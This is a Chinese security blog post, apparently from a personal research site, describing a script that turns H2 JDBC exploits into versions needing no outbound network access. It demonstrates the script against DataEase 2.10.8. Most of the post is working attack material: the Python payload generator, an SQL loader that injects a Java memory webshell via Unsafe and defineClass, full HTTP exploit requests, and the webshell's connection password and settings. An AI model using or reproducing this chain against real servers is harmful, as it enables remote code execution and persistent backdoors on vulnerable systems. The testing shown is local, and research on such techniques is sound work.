{"id":4024,"date":"2025-09-11T10:35:57","date_gmt":"2025-09-11T02:35:57","guid":{"rendered":"https:\/\/fushuling.com\/?p=4024"},"modified":"2025-09-11T10:35:58","modified_gmt":"2025-09-11T02:35:58","slug":"h2-jdbc%e4%b8%8d%e5%87%ba%e7%bd%91poc%e8%87%aa%e5%8a%a8%e7%94%9f%e6%88%90","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2025\/09\/11\/h2-jdbc%e4%b8%8d%e5%87%ba%e7%bd%91poc%e8%87%aa%e5%8a%a8%e7%94%9f%e6%88%90\/","title":{"rendered":"h2 jdbc\u4e0d\u51fa\u7f51poc\u81ea\u52a8\u751f\u6210"},"content":{"rendered":"\n

\u524d\u8a00<\/h2>\n\n\n\n

\u4e4b\u524d\u4e00\u76f4\u611f\u89c9h2 jdbc\u7684\u4e0d\u51fa\u7f51poc\u5199\u8d77\u6765\u5f88\u9ebb\u70e6\uff0c\u5404\u79cd\u8f6c\u4e49\u5565\u7684\u53cd\u6b63\u4e0d\u65b9\u4fbf\uff0c\u800c\u4e14\u5f88\u5bb9\u6613\u88ab\u62e6\u622a\u5173\u952e\u5b57\uff0c\u8fdc\u4e0d\u5982\u8fdc\u7a0b\u8fde\u63a5\u6587\u4ef6\u597d\u7528\uff0c\u6240\u4ee5\u4e00\u76f4\u6709\u60f3\u6cd5\u60f3\u5199\u4e2a\u81ea\u52a8\u751f\u6210h2 jdbc\u4e0d\u51fa\u7f51poc\u7684\u811a\u672c\uff0c\u5230\u540e\u9762\u51fasuctf\u7684\u65f6\u5019\u770b\u5230yulate\u7ed9\u4e86\u4e00\u79cd\u89e3\u51b3\u529e\u6cd5\uff1aSUCTF2025 \u51fa\u9898\u8bb0\u5f55<\/a><\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n

\u5927\u6982\u601d\u8def\u5c31\u662f\u5148\u628a\u5185\u5b58\u9a6c\u6253\u5305\u6210jar\uff0c\u7136\u540ebase64\u7f16\u7801\u540e\u5199\u5165\u76ee\u6807\u73af\u5883\u63a5\u7740\u52a0\u8f7d\u3002\u867d\u7136\u8fd9\u6837\u786e\u5b9e\u633a\u4e0d\u9519\u7684\uff0c\u4f46\u662f\u6709\u65f6\u5019\u6bd4\u5982\u8bf4\u6211\u53ea\u662f\u60f3\u6267\u884c\u4e00\u4e9b\u7b80\u5355\u7684\u547d\u4ee4\uff0c\u6bd4\u5982\u8bf4\u5f39\u4e2a\u8ba1\u7b97\u5668\u6216\u8005\u53cd\u5f39shell\u5565\u7684\uff0c\u8981\u662f\u8fd8\u5f97\u6253\u5305\u4e2ajar\u611f\u89c9\u4e5f\u633a\u9ebb\u70e6\u7684\u800c\u4e14\u4e5f\u4e0d\u597d\u81ea\u52a8\u751f\u6210poc\uff0c\u6240\u4ee5\u540e\u9762\u4e00\u76f4\u5728\u60f3\u5176\u4ed6\u529e\u6cd5\u5b9e\u73b0\u8fd9\u4e2a\u81ea\u52a8\u5316poc\u751f\u6210\u7684\u529f\u80fd\u3002<\/p>\n\n\n\n

\u5229\u7528\u672c\u5730\u6587\u4ef6\u5b9e\u73b0\u8fde\u63a5<\/h2>\n\n\n\n

\u66f4\u65b0jdbc-tricks\u7684h2\u6a21\u5757\u7684\u65f6\u5019\uff0c\u5076\u7136\u60f3\u8d77\u6765\u4e4b\u524d\u597d\u50cf\u770b\u5230\u67d0\u4e2a\u5e08\u5085\u7684\u6587\u7ae0\u91cc\u63d0\u5230\u8fc7h2 jdbc\u7684\u4e00\u4e2atrick\uff0c\u5728\u7528runscript from\u8fdc\u7a0b\u8fde\u63a5\u6587\u4ef6\u7684\u65f6\u5019\uff0c\u5176\u5b9e\u4e0d\u4e00\u5b9a\u8981\u4fdd\u6301xxx.sql\u7684\u683c\u5f0f\uff0c\u53ef\u4ee5\u4e0d\u51fa\u73b0.sql\uff0c\u641c\u7d22\u4e86\u4e00\u4e0b\u6587\u7ae0\uff0c\u53d1\u73b0\u662fpen4uin\u5e08\u5085\u4e4b\u524d\u63d0\u5230\u7684\uff1a\u8bb0\u4e00\u6b21H2 JDBC\u7684\u5b9e\u6218\u5229\u7528<\/a><\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n

\u5f53\u7136\uff0c\u5728\u6211\u81ea\u5df1\u672c\u5730\u6d4b\u8bd5\u52a0\u778e\u731c\u7684\u8fc7\u7a0b\u4e2d\uff0c\u6211\u53d1\u73b0\u8fd9\u4e2arunscript from\u5e94\u8be5\u53ea\u662f\u83b7\u53d6url\u7684\u8fd4\u56de\u8fdb\u884c\u76f8\u5173\u7684\u6267\u884c\uff0c\u6240\u4ee5\u8fd9\u4e2aurl\u91cc\u522b\u8bf4\u53ef\u4ee5\u6ca1\u6709\u540e\u7f00\u4e86\uff0c\u5176\u5b9e\u53ea\u8981\u5728index.html\u91cc\u5199\u5165sql\u7684\u5185\u5bb9\uff0c\u76f4\u63a5\u8fde\u63a5\u8fd9\u4e2aurl\u90fd\u884c\uff1a<\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n

\u63a5\u4e0b\u6765\u4e00\u4e2a\u81ea\u7136\u800c\u7136\u7684\u60f3\u6cd5\u5f53\u7136\u5c31\u662f\u53bb\u8bd5\u8bd5\u80fd\u4e0d\u80fd\u8bfb\u53d6\u672c\u5730\u6587\u4ef6\uff0c\u8bd5\u4e86\u8bd5\u7adf\u7136\u8fd8\u771f\u53ef\u4ee5\uff1a<\/p>\n\n\n\n

\"\"\/<\/div><\/figure>\n\n\n\n

\u4e00\u4e0b\u5c31\u6765\u4e86\u7075\u611f\uff0c\u4e8e\u662f\u6253\u7b97\u5199\u4e2a\u811a\u672c\u81ea\u52a8\u628a\u51fa\u7f51\u7684poc\u8f6c\u6210\u4e0d\u51fa\u7f51\u7684poc\uff0c\u81ea\u5df1\u672c\u5730\u6363\u9f13\u4e86\u4e00\u4e0b\uff0c\u4e3b\u8981\u601d\u8def\u5c31\u662f\u5148\u7528\u4e0d\u51fa\u7f51\u7684poc\u628abase64\u7f16\u7801\u540e\u7684\u672c\u6765\u9700\u8981\u51fa\u7f51\u7684sql\u6587\u4ef6\u7684\u5185\u5bb9\u5199\u5165\u76ee\u6807\u7684\u67d0\u4e2a\u8def\u5f84\uff0c\u7136\u540e\u7528runscript from\u8bfb\u53d6\u4e00\u4e0b\u5c31\u884c\u4e86\uff0c\u5185\u5bb9\u5927\u81f4\u5982\u4e0b\uff1a<\/p>\n\n\n\n

import sys
import base64
\u200b
\u200b
def main():
    if len(sys.argv) != 3:
        print(f\"\u7528\u6cd5: python {sys.argv[0]} <\u672c\u5730sql\u6587\u4ef6\u8def\u5f84> <\u8fdc\u7a0b\u73af\u5883\u5199\u5165sql\u6587\u4ef6\u8def\u5f84>\")
        print(f'\u5982: python {sys.argv[0]} \".\/poc.sql\" \"D:\/test\/aaa\"')
        sys.exit(1)
\u200b
    a = sys.argv[1]
    b = sys.argv[2]
\u200b
    with open(a, \"r\", encoding=\"utf-8\") as f:
        base64_data = f.read().strip()
\u200b
    encoded = base64.b64encode(base64_data.encode(\"utf-8\")).decode(\"utf-8\")
\u200b
    step1 = (
        \"jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;\"
        \"INIT=CREATE ALIAS IF NOT EXISTS BASE64_TO_File AS \"
        \"'void base64ToFile(String base64Data, String filePath) throws java.io.IOException \"
        \"{byte[] jarBytes = java.util.Base64.getDecoder().decode(base64Data)\\\\\\\\;\"
        \"try (java.io.FileOutputStream fos = new java.io.FileOutputStream(filePath)) \"
        \"{fos.write(jarBytes)\\\\\\\\;}}'\\\\\\\\;\"
        f\"CALL BASE64_TO_File('{encoded}', '{b}')\\\\\\\\;\"
    )
    step2 = f\"jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM '{b}'\"
\u200b
    print(\"-\" * 100)
    print(\"step1 poc\u5982\u4e0b:\")
    print()
    print(step1)
    print(\"-\" * 100)
    print(\"step2 poc\u5982\u4e0b:\")
    print()
    print(step2)
\u200b
\u200b
if __name__ == \"__main__\":
    main()<\/pre>\n\n\n\n
\u4e0b\u9762\u62ffdataease\u505a\u4f8b\u5b50\uff0c\u770b\u770b\u5982\u4f55\u81ea\u52a8\u751f\u6210\u4e0d\u51fa\u7f51\u6ce8\u5165\u5185\u5b58\u9a6c\u7684\u4f8b\u5b50\u3002<\/p>\n\n\n\n
\u81ea\u52a8\u751f\u6210dataease\u4e0d\u51fa\u7f51\u5185\u5b58\u9a6cpoc<\/h2>\n\n\n\n
\u9996\u5148\u6211\u672c\u5730\u4f7f\u7528\u7684\u73af\u5883\u662fdataease_2.10.8\uff0c\u4e0b\u8f7d\u94fe\u63a5\u4e3a\uff1ahttps:\/\/community.fit2cloud.com\/download\/de-desktop\/2.10.8?arch=win_amd64<\/a>\uff0c\u542f\u52a8\u7684\u8bdd\u70b9\u51fb\u4e00\u4e0b\u5373\u53ef\uff1a<\/p>\n\n\n\n
\"img\"\/<\/div><\/figure>\n\n\n\n
\u8fd9\u91cc\u524d\u7f6e\u7684\u5206\u6790\u8fc7\u7a0b\u6211\u4eec\u5c31\u5ffd\u7565\u4e86\ud83d\ude02\uff0c\u53ef\u4ee5\u770b\u6211\u4e4b\u524d\u7684\u6587\u7ae0\uff1a\u4ece\u96f6\u5f00\u59cb\u7684H2 JDBC url bypass\u4e4b\u65c5<\/a>\uff0c\u8fd9\u91cc\u53ea\u8bb2h2\u4e0d\u51fa\u7f51\u6ce8\u5165\u5185\u5b58\u9a6c\u3002<\/p>\n\n\n\n
\u9996\u5148\u5185\u5b58\u9a6c\u8fd9\u91cc\u6211\u7528\u7684\u73b0\u6210\u7684\uff0c\u5b66\u4e60\u7684killer\u5e08\u5085\u4e4b\u524d\u7684\u6587\u7ae0\uff1aDataEase \u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\u5206\u6790<\/a>\uff0c\u4e3b\u8981\u7528\u7684\u5c31\u662f\u8fd9\u4e2a\u5de5\u5177\uff1ahttps:\/\/github.com\/pen4uin\/java-memshell-generator\/<\/a><\/p>\n\n\n\n
\"D:\/java\/jdk-17\/bin\/java\" -jar jmg-all-1.0.8_240914.jar gui<\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u6ce8\u5165\u5185\u5b58\u9a6c\u7684sql\u6587\u4ef6\u5982\u4e0b\uff1a<\/p>\n\n\n\n
CREATE ALIAS AQWSSSAZ AS $$
String shellexec(String abc) throws java.lang.Exception {
    byte[] standBytes = null;
    String tomcatStr = \"yv66vgAAADEBjQEAImNvbS...(\u586b\u5165\u751f\u6210\u7684base64 poc)\";
\u200b
    java.lang.Class unsafeClass = java.lang.Class.forName(\"sun.misc.Unsafe\");
    java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField(\"theUnsafe\");
    unsafeField.setAccessible(true);
    sun.misc.Unsafe unsafe = (sun.misc.Unsafe) unsafeField.get(null);
\u200b
    java.lang.Module module = java.lang.Object.class.getModule();
    java.lang.Class cls = AQWSSSAZ.class;
    long offset = unsafe.objectFieldOffset(java.lang.Class.class.getDeclaredField(\"module\"));
    unsafe.getAndSetObject(cls, offset, module);
\u200b
    java.lang.reflect.Method defineClass =
        java.lang.ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, java.lang.Integer.TYPE, java.lang.Integer.TYPE);
    defineClass.setAccessible(true);
\u200b
    byte[] bytecode = java.util.Base64.getDecoder().decode(tomcatStr);
    java.lang.Class clazz = (java.lang.Class) defineClass.invoke(
        java.lang.Thread.currentThread().getContextClassLoader(), bytecode, 0, bytecode.length);
    clazz.newInstance();
    return \"test\";
}
$$;
CALL AQWSSSAZ('123');
\u200b<\/pre>\n\n\n\n
\u7136\u540e\u8fd0\u884c\u811a\u672c\u751f\u6210\u4e0d\u51fa\u7f51\u7684poc\uff0c\u7b2c\u4e00\u4e2a\u53c2\u6570\u5c31\u662f\u672c\u5730\u7684sql\u6587\u4ef6\u8def\u5f84\uff0c\u7b2c\u4e8c\u4e2a\u662f\u5199\u5165\u8fdc\u7a0b\u7684\u8def\u5f84:<\/p>\n\n\n\n
>python NoNetworkConversion.py \".\/poc.sql\" \"D:\/test\/aaa\"
----------------------------------------------------------------------------------------------------
step1 poc\u5982\u4e0b:
\u200b
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS IF NOT EXISTS BASE64_TO_File AS 'void base64ToFile(String base64Data, String filePath) throws java.io.IOException {byte[] jarBytes = java.util.Base64.getDecoder().decode(base64Data)\\\\;try (java.io.FileOutputStream fos = new java.io.FileOutputStream(filePath)) {fos.write(jarBytes)\\\\;}}'\\\\;CALL BASE64_TO_File('Q1JFQVRFIEFMSUFTIEF......', 'D:\/test\/aaa')\\\\;
----------------------------------------------------------------------------------------------------
step2 poc\u5982\u4e0b:
\u200b
jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'D:\/test\/aaa'<\/pre>\n\n\n\n
\u9996\u5148\u7528\u7b2c\u4e00\u4e2apoc\u5728”D:\/test\/aaa”\u5199\u5165\u5185\u5bb9\uff1a<\/p>\n\n\n\n
POST \/de2api\/datasource\/validate HTTP\/1.1
Host: 127.0.0.1:8100
User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko\/20100101 Firefox\/142.0
Accept: application\/json, text\/plain, *\/*
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate, br
Content-Type: application\/json
Content-Length: 31092
Origin: http:\/\/127.0.0.1:8100
Sec-GPC: 1
Connection: close
Referer: http:\/\/127.0.0.1:8100\/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
\u200b
{\"id\":\"\",\"name\":\"a\",\"description\":\"\",\"type\":\"h2\",\"configuration\":\"eyJkYXRhQmFzZS......\"}<\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u53ef\u4ee5\u770b\u5230\u6210\u529f\u751f\u6210\u5bf9\u5e94\u7684\u6587\u4ef6\uff1a <\/p>\n\n\n\n
\u63a5\u7740\u7528\u7b2c\u4e8c\u4e2apoc\u8fdb\u884c\u8fdc\u7a0b\u8fde\u63a5\uff1a<\/p>\n\n\n\n
POST \/de2api\/datasource\/validate HTTP\/1.1
Host: 127.0.0.1:8100
User-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko\/20100101 Firefox\/142.0
Accept: application\/json, text\/plain, *\/*
Accept-Language: zh-CN
Accept-Encoding: gzip, deflate, br
Content-Type: application\/json
Content-Length: 468
Origin: http:\/\/127.0.0.1:8100
Sec-GPC: 1
Connection: close
Referer: http:\/\/127.0.0.1:8100\/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
\u200b
{\"id\":\"\",\"name\":\"a\",\"description\":\"\",\"type\":\"h2\",\"configuration\":\"eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTp0ZXN0ZGI7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO0luSVQ9UnVOU0NSSVBUIEZST00gJ0Q6L3Rlc3QvYWFhJyIsInVybFR5cGUiOiJqZGJjVXJsIiwic3NoVHlwZSI6InBhc3N3b3JkIiwiZXh0cmFQYXJhbXMiOiIiLCJ1c2VybmFtZSI6IjEyMyIsInBhc3N3b3JkIjoiMTIzIiwiaG9zdCI6IiIsImF1dGhNZXRob2QiOiIiLCJwb3J0IjowLCJpbml0aWFsUG9vbFNpemUiOjUsIm1pblBvb2xTaXplIjo1LCJtYXhQb29sU2l6ZSI6NSwicXVlcnlUaW1lb3V0IjozMH0=\"}<\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u4ece\u8fd4\u56de\u770b\u51fa\u6765\u5df2\u7ecf\u6267\u884c\u6210\u529f\u4e86\uff0c\u6700\u540e\u76f4\u63a5\u4e0a\u51b0\u874e\u8fdb\u884c\u8fde\u63a5\uff1a<\/p>\n\n\n\n
\u5bc6\u7801: Ulwumtn
\u8bf7\u6c42\u8def\u5f84: \/*
\u8bf7\u6c42\u5934: Referer: Aatrl
\u811a\u672c\u7c7b\u578b: JSP
\u5185\u5b58\u9a6c\u7c7b\u540d: org.apache.logging.Log4jConfigHnListener
\u6ce8\u5165\u5668\u7c7b\u540d: com.fasterxml.jackson.x.ThreadUtil<\/pre>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\"\"\/<\/div><\/figure>\n\n\n\n
\u603b\u7ed3<\/h2>\n\n\n\n
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